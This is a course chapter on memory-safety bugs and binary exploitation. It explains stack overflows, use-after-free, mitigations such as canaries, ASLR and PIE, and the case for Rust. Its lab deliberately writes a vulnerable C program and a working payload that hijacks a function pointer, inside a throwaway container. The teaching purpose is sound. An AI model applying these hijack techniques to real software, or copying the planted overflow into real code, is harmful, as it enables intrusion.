Careers Post-AI
Security: all chapters

SecurityPart 2: Application security

Chapter 7Memory safety and binary exploitation

35 min read, 1 lab, Advanced

In 1988 the Morris worm spread across the early internet partly by overflowing a 512-byte buffer in the fingerd service. More than thirty-five years later, Chromium reports that around 70% of its high-severity security bugs are still memory safety problems. This chapter shows you exactly how those bugs turn a crash into control of a program, what each modern mitigation does about it, and why the industry is now moving to memory-safe languages.

After this chapter you can

  • Draw a stack frame and explain what a buffer overflow overwrites
  • Explain how memory corruption becomes control-flow hijack, and how use-after-free and double free arise on the heap
  • Describe what stack canaries, NX, ASLR, PIE, FORTIFY_SOURCE, CFI and shadow stacks each stop, and what they do not
  • Outline return-oriented programming and why it motivated hardware control-flow protection
  • Explain which bug classes memory-safe languages remove and demonstrate it with a Rust rewrite

How a process uses memory

When a program runs, the operating system gives it a virtual address space divided into regions with different purposes and permissions. The Operating systems and privilege chapter covers virtual memory itself; here what matters is what lives where.

RegionHoldsTypical permissions
TextCompiled machine codeRead and execute
Data and BSSGlobal and static variablesRead and write
HeapMemory from malloc or new, freed manually in C and C++Read and write
StackLocal variables, saved registers, return addressesRead and write

Each function call pushes a stack frame. On x86-64 the call instruction pushes the return address (where to resume in the caller), the function saves the caller's frame pointer, and then reserves space for its locals. The stack grows toward lower addresses, but arrays inside a frame are written toward higher ones. That mismatch is the whole story of the classic overflow.

Stack buffer overflow

C does not track array lengths. Functions like gets, strcpy, sprintf and a careless memcpy or read copy until they are told to stop, and if the length comes from the attacker, so does the stopping point.

greet.c
void greet(const char *input) {
    char buf[64];
    strcpy(buf, input);          /* copies until the NUL byte, however far */
    printf("Hello, %s\n", buf);
}                                /* ret pops the (now overwritten) return address */

Feed greet 100 bytes and the copy runs past buf, over the saved frame pointer and over the return address. When greet executes ret, the CPU jumps to whatever those bytes say. With random bytes the program crashes with a segmentation fault; with chosen bytes it goes where the attacker wants.

The same overwrite works on anything stored after the buffer: a function pointer, a length field, an is_admin flag. Overwriting adjacent data rather than the return address is important because, as you will see, some mitigations only guard the return address.

Not every memory bug is a write. Heartbleed in 2014 was an over-read: OpenSSL trusted a length field from the network and sent back up to 64 KB of adjacent memory per request, which could include private keys and passwords.

From crash to control-flow hijack

A crash is a denial of service. Control-flow hijack is what turns it into code execution. The attacker needs two things: a write primitive that reaches control data, and a target address worth jumping to.

  1. Find the bug

    Fuzzing or code review finds an input that crashes the program. A crash with an attacker-controlled instruction pointer, such as 0x4141414141414141 ("AAAAAAAA"), is the classic sign of an exploitable bug.

  2. Measure the offset

    Use a recognisable pattern to work out how many bytes sit between the start of the buffer and the return address or function pointer.

  3. Choose a target

    In the 1990s the target was shellcode placed in the buffer itself. Today non-executable stacks forbid that, so attackers jump to code that already exists in the binary or its libraries.

  4. Defeat the mitigations

    Leak an address to undo ASLR, avoid or leak the canary, and chain existing code fragments to get around NX. Each mitigation adds a step, and modern exploits often need several bugs chained together.

Heap bugs: use-after-free and double free

The heap is managed by an allocator that hands out chunks and keeps bookkeeping metadata, often inside freed chunks themselves. Two lifetime errors dominate modern browser and kernel exploits.

A use-after-free (UAF) happens when code frees an object but keeps a pointer to it (a dangling pointer). If the attacker can make the allocator reuse that chunk for data they control, the old pointer now reads attacker data as if it were the original object, including any function pointers or virtual table pointers inside it.

uaf.c
struct session *s = malloc(sizeof *s);
s->on_close = log_close;
free(s);                       /* s is now dangling */
char *msg = malloc(sizeof *s); /* allocator may hand back the same chunk */
read(fd, msg, sizeof *s);      /* attacker bytes fill it */
s->on_close(s);                /* calls an attacker-chosen address */

A double free releases the same chunk twice, which can corrupt the allocator's free lists so that a later malloc returns a pointer the attacker chose. Related bugs include type confusion (treating an object as the wrong type) and integer overflows that produce a too-small allocation. Modern allocators add integrity checks, but exploit writers have kept finding paths around them.

Mitigations and what each one buys

No single mitigation fixes memory corruption. Each one breaks a specific step of the exploit chain, and attackers respond by adding a step.

MitigationWhat it doesWhat it stopsKnown limits
Stack canaryRandom value before the return address, checked on function returnLinear overwrite of the return addressDoes not protect adjacent locals or function pointers; leaked canaries can be rewritten
NX / DEPMarks stack and heap non-executableRunning injected shellcodeReusing existing code (ROP)
ASLRRandomises base addresses of stack, heap and libraries each runHard-coded target addressesA single pointer leak reveals the layout
PIECompiles the main binary to load at a random address tooHard-coded addresses in the program itselfSame as ASLR
RELROMakes the dynamic linking table read-only after startupOverwriting GOT entriesOther writable function pointers remain
_FORTIFY_SOURCEReplaces memcpy, read and friends with checked versions when sizes are knownOverflows the compiler can sizeUnknown sizes, custom copy loops
CFI, IBT, BTIIndirect calls and jumps may only land on valid targetsJumping into the middle of functionsCoarse versions allow any valid function entry
Shadow stack (Intel CET, ARM PAC as an alternative)Keeps a protected copy of return addresses, or signs themReturn-address overwrites and ROPNeeds hardware, OS and compiler support

On a modern Linux distribution most of these are on by default. Ubuntu's GCC, for example, builds PIE binaries with stack protection and FORTIFY enabled, which is why the lab has to switch them off to see the raw bug.

Return-oriented programming in outline

Once NX stopped injected code, attackers began reusing existing code. Return-oriented programming (ROP) strings together gadgets: short instruction sequences already in the binary or libc that end in ret, such as "pop a value into a register, then return".

The overwritten stack becomes a program whose instructions are addresses. Each ret pops the next gadget address and jumps there, so the attacker computes with code they never wrote. ROP needs known addresses, which is why ASLR plus a leak-free program raises the cost so sharply, and why shadow stacks matter: a shadow stack notices that each ret is going somewhere no call ever came from.

For this chapter the outline is enough. Building real chains belongs to dedicated practice environments such as pwn.college, and the Exploitation and privilege escalation chapter covers what attackers do after a foothold.

Memory-safe languages change the economics

Mitigations make exploitation harder. Memory-safe languages make the bug classes themselves impossible in ordinary code. Rust, Go, Java, C#, Swift and Python all enforce bounds and manage object lifetimes, so overflows become exceptions or panics, and use-after-free cannot be expressed without explicit unsafe code.

C: compiles, corrupts memory

copy.c
char name[16];
memcpy(name, input, input_len);
/* input_len 40: silently overwrites
   whatever follows name */

Rust: compiles, panics safely

copy.rs
let mut name = [0u8; 16];
name[..input.len()].copy_from_slice(&input);
// input.len() 40: panics with
// range end index 40 out of range

Rust adds no garbage collector. Its compiler's borrow checker enforces ownership rules at compile time: every value has one owner, references cannot outlive what they point to, and you cannot hold a mutable reference while others exist. That rules out use-after-free and data races before the program runs.

The evidence that this works is now public:

  • Android: Google reported that memory safety bugs fell from 76% of Android vulnerabilities in 2019 to 24% in 2024 (a projected full-year figure), mainly by writing new code in memory-safe languages while leaving most old C++ in place.
  • Chromium and Microsoft: both have long reported that roughly 70% of their serious security bugs are memory safety issues.
  • Government guidance: CISA and the NSA published Memory Safe Languages: Reducing Vulnerabilities in Modern Software Development in June 2025, following earlier calls from CISA and the White House for vendors to publish memory-safety roadmaps.

Rewrites are expensive and risky, so the realistic strategy is layered: memory-safe languages for new components and the most exposed parsers, hardened C++ (bounds-checked standard library modes, sanitizers in testing, hardware tagging such as ARM MTE) for what remains.

Key terms

Stack frame
The region of the stack holding one function call's locals, saved registers and return address.
Buffer overflow
Writing past the end of a fixed-size buffer into adjacent memory.
Control-flow hijack
Redirecting a program's execution by corrupting a return address, function pointer or similar control data.
Use-after-free
Accessing memory through a pointer after that memory has been freed and possibly reused.
Stack canary
A random value placed before the return address and checked before returning, to detect linear overflows.
ASLR
Address space layout randomisation: loading code and data at random addresses on every run.
NX
The non-execute bit that marks memory regions such as the stack as data only.
ROP
Return-oriented programming: chaining existing code fragments ending in return instructions to perform arbitrary computation.
Shadow stack
A hardware-protected second stack of return addresses used to detect tampering with the normal stack.
Borrow checker
The Rust compiler component that enforces ownership and reference lifetimes at compile time.
Lab

Overflow, hijack and harden your own C program

Advanced, 75 min

Goal: write a tiny vulnerable C program, crash it, inspect the corruption in gdb, redirect its control flow, watch compiler mitigations react, then fix it in C and in Rust.

You need: Docker. Everything runs inside a throwaway container against a binary you write yourself. Works on Intel and Apple Silicon hosts; both are 64-bit little-endian, so the same input works.

  1. Create a working folder with this file:

    vuln.c
    #include <stdio.h>
    #include <unistd.h>
     
    struct profile {
        char name[16];
        void (*greet)(const char *);
    };
     
    static void normal_greet(const char *n) { printf("Hello, %.16s\n", n); }
    static void admin_panel(const char *n) { (void)n; puts("*** admin panel reached ***"); }
     
    int main(void) {
        struct profile p;
        p.greet = normal_greet;
        printf("admin_panel is at %p\n", (void *)admin_panel);
        printf("Name: ");
        fflush(stdout);
        if (read(0, p.name, 64) <= 0)  /* BUG: 64 bytes into a 16-byte field */
            return 1;
        p.greet(p.name);
        return 0;
    }

    The program prints admin_panel's address on purpose, to stand in for the information leak a real exploit would need.

  2. Start a container with debugging allowed, and install tools:

    docker run -it --rm --cap-add=SYS_PTRACE --security-opt seccomp=unconfined \
      -v "$PWD":/lab -w /lab ubuntu:24.04 bash
    apt-get update && apt-get install -y gcc gdb python3 file binutils
  3. Build with protections off and run it normally:

    gcc -O0 -g -fno-stack-protector -U_FORTIFY_SOURCE -no-pie -o vuln vuln.c
    echo alice | ./vuln

    Expect the address line, then Hello, alice.

  4. Crash it. 16 bytes fill name; the next 8 overwrite greet:

    python3 -c 'import sys; sys.stdout.buffer.write(b"A"*24)' > crash.bin
    ./vuln < crash.bin

    Expect Segmentation fault.

  5. Inspect it in gdb. Line 20 is the call through p.greet:

    gdb -q ./vuln
    (gdb) break vuln.c:20
    (gdb) run < crash.bin
    (gdb) x/3gx &p
    (gdb) print p.greet
    (gdb) continue
    (gdb) print $pc

    x/3gx shows three 8-byte words of 0x4141414141414141, the third being the function pointer. After continue the program receives SIGSEGV with the program counter at 0x4141414141414141: you control where the CPU goes.

  6. Hijack it. Write 16 filler bytes followed by admin_panel's address in little-endian order:

    ADDR=$(./vuln < /dev/null | grep -o '0x[0-9a-f]*')
    python3 -c "import sys; sys.stdout.buffer.write(b'A'*16 + int('$ADDR',16).to_bytes(8,'little'))" > hijack.bin
    ./vuln < hijack.bin

    Expect *** admin panel reached ***, a function the program never intended to call.

  7. Watch mitigations respond. This shell function reads the leaked address from one run and attacks a second run of the same binary:

    attack() {
      A=$("./$1" < /dev/null | grep -o '0x[0-9a-f]*')
      python3 -c "import sys; sys.stdout.buffer.write(b'A'*16 + int('$A',16).to_bytes(8,'little'))" | "./$1"
    }
     
    # Canary on
    gcc -O0 -g -fstack-protector-all -U_FORTIFY_SOURCE -no-pie -o vuln_canary vuln.c
    attack vuln_canary
     
    # PIE on: the address changes between the two runs
    gcc -O0 -g -fno-stack-protector -U_FORTIFY_SOURCE -o vuln_pie vuln.c
    for i in 1 2 3; do ./vuln_pie < /dev/null; echo; done
    attack vuln_pie
     
    # Distribution defaults at -O2: FORTIFY knows the buffer size
    gcc -O2 -o vuln_default vuln.c
    echo alice | ./vuln_default

    What to expect:

    • Canary build: still reaches the admin panel. A canary guards the return address, not a function pointer inside the frame.
    • PIE build: prints a different address each run, so the address leaked by the first run is wrong for the second and the attack crashes. A real exploit must leak and use the address within one process.
    • Default build: should warn at compile time that read writes 64 bytes into a smaller region, then abort with *** buffer overflow detected *** even for alice, because the checked read compares the requested size with the known buffer size.
    • Inside gdb: addresses stay fixed, because gdb disables ASLR by default.
  8. Compare the binaries' properties:

    file vuln vuln_pie
    readelf -lW vuln | grep GNU_STACK

    file reports executable versus pie executable, and GNU_STACK shows RW rather than RWE, meaning the stack is not executable (NX).

  9. Fix it in C by bounding the read to the field size:

    vuln.c (fixed lines)
    ssize_t n = read(0, p.name, sizeof p.name - 1);
    if (n <= 0) return 1;
    p.name[n] = '\0';

    Rebuild with the unprotected flags from step 3 and replay hijack.bin. Expect Hello, AAAAAAAAAAAAAAA and no hijack.

  10. Fix it in Rust. Exit the Ubuntu container, then save and run this from the same folder (the rust:1 image is large, roughly a gigabyte or more):

    safe.rs
    use std::io::Read;
     
    struct Profile { name: [u8; 16], greet: fn(&[u8]) }
     
    fn normal_greet(n: &[u8]) { println!("Hello, {}", String::from_utf8_lossy(n)); }
     
    fn main() {
        let mut input = Vec::new();
        std::io::stdin().read_to_end(&mut input).unwrap();
        let mut p = Profile { name: [0; 16], greet: normal_greet };
        p.name[..input.len()].copy_from_slice(&input); // naive port of the C bug
        (p.greet)(&p.name);
    }
    docker run --rm -i -v "$PWD":/lab -w /lab rust:1 \
      sh -c 'rustc safe.rs && ./safe < hijack.bin'

    Expect a panic reporting range end index 24 out of range for slice of length 16. The naive port has the same logic error, but it becomes a clean, non-exploitable crash. Then replace the copy with a truncating one, let n = input.len().min(16); and p.name[..n].copy_from_slice(&input[..n]);, and rerun.

Check your work: you have screenshots or notes showing the 0x4141414141414141 program counter in gdb, the admin panel reached in the unprotected build and still reached in the canary build, three different addresses and a failed attack from the PIE build, the FORTIFY abort, and the Rust panic message.

Stretch: move char name[16] out of the struct into a plain local array next to the return address in a helper function, overflow it with 100 bytes, and compare the canary build's *** stack smashing detected *** with the unprotected build's crash in gdb using info frame.

Check yourself

A program with stack canaries enabled has a 16-byte buffer followed by a function pointer in the same struct. An attacker overflows the buffer by 8 bytes and the pointer is called before the function returns. What happens?

NX is enabled, so the stack is not executable. Why can an attacker still achieve code execution after overwriting a return address?

A binary is built as PIE with ASLR enabled, but a logging endpoint prints the address of a heap object. Why does this matter so much?

Code frees a session object, then later calls a function pointer through the old session pointer after another allocation of the same size. What is this bug and why is it exploitable?

Why did Android's share of memory safety vulnerabilities fall sharply without rewriting most existing C and C++?

Recap

  • A buffer overflow overwrites whatever sits next to the buffer, including return addresses and function pointers, because control data is ordinary memory.
  • Use-after-free and double free are lifetime bugs that let attackers control what a dangling pointer sees.
  • Canaries, NX, ASLR, PIE, FORTIFY, CFI and shadow stacks each break one step of an exploit; none removes the bug.
  • Return-oriented programming reuses existing code, which is why address secrecy and return-address integrity matter.
  • Memory-safe languages remove overflow and use-after-free as bug classes, and writing new code in them gives most of the benefit.

Go deeper